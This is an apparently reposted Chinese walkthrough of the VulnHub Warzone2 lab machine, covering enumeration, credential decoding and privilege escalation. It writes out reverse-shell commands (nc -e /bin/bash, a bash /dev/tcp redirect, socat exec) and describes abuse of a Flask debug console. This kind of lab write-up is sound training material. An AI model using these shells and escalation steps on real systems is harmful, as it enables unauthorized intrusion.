VULNHUB靶场—–Warzone2 – 作者:刚入圈的伯鉴

Vulnhub靶机渗透测试实战（二）：Warzone2

关于vulnhub

Vulnhub是一个特别好的渗透测试实战网站，提供了许多带有漏洞的渗透测试虚拟机下载

Warzone2 下载地址：http://www.vulnhub.com/entry/warzone-2,598/

安装好虚拟机后挂载Virtualbox运行

主机扫描

netdiscover -r 192.168.244.0/24

.1是物理机,.2是virtual box的网关，所以目标地址就是.3了

端口扫描

可以发现了 三个端口

访问ftp

发现可以通过匿名的形式进行登录

Username.png

Password.png

Token.png

用户名和密码很明显的旗语加密

通过对照表进行解密

Username：semaphore

Pasword：signalperson

Hash：

833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26

Token：38333361643438383436346465316132376435313266313034623633393235386537373930316631346561623730363136333036336433343035346137623236

访问ssh

发现前面的密码并不能登录

访问1337

本来想要百度一下这个端口对应的漏洞有什么，结果并没有什么发现

那通过nc访问吧

root@kali:~# nc 192.168.244.3 1337

# WARZONE 2 # WARZONE 2 # WARZONE 2 #

{SECRET SYSTEM REMOTE ACCESS}

Username :semaphore

Password :signalperson

Token :833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26

Success Login

[SIGNALS] { ls, pwd, nc}

[semaphore] >

输入账号密码，hash成功登录

Ps：这里遇到了一个坑，本来提示的式token，结果试了好半天，居然是hash

反弹shell

看到提示，这里可以使用nc

kali

nc -lvvp 4444

靶机

nc -e /bin/bash 192.168.244.4 4444

过不凄然又是www权限，这里为了方便，重新通过bash反弹一个shell

Kali

nc -lvvp 5555

靶机

bash -i >& /dev/tcp/192.168.244.4/5555 0>&1

信息搜集

找到了flagman用户的密码

登录ssh

获取flag1

在该用户的桌面下发现一个flag

青铜？  看来还得继续深入

1阶段提权

在passwd文件中发现存在一个admiral用户（管理员用户？）

确实是

通过sudo -l查看发现可以通过无密码以admiral身份执行一个文件

那就试试

发现开了一个5000端口的web服务，但是只针对127开放的，外界访问不到，我们需要进行端口转发才可以访问

5000端口？这不是python的flask吗，而且是开发环境，它里面是可以直接执行python代码的，路径是ip/console

端口转发

既然服务器开放了ssh，我们也有了一个用户和密码（flagman   i_hate_signals!）,直接通过ssh进行端口转发

在kali中访问 http://127.0.0.1:5000/console

输入刚才启动程序的时候获取的pin

这里是一个python环境，通过python反弹shell

获取flag2

在admiral用户的桌面下发现了一个flag

银牌？还得继续深入

2阶段提权

虽然我们现在是可以使用sudo，但是我们没有admiral的密码，也是用不了sudo命令

刚才的用户给我们提示

继续sudo -l

可以发现可以通过无密码使用root身份使用这个命令，试一试

摩尔加密。。。

if  you  read  this  message  means  that  you  are  in  the  warzone  2.  i  wish  you  good  luck.  remember  the  medals  are  not  the  real  trophies.  the  real  trophy  is  that  you  gain  after  solving  this  box.    –  alienum    rules    help  your  teammates  never  quit  keep  training

看来这还不是最终的flag，还是需要继续深入

继续提权

我们看一下刚才我们less查看文件的权限

我们确实是拿到了root的权限

Less的话是可以进行提权的，但是有一个要求是必须是交互式的shell

获取交互式shell

通过测试socat是可以使用的，socat可以创建交互式shell，创建的shell类似于ssh直接登录，非常好用

Kali

socat file:`tty`,raw,echo=0 tcp-listen:8888

靶机

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.244.4:8888

获取最终flag

来源：freebuf.com 2020-12-03 13:57:53 by: 刚入圈的伯鉴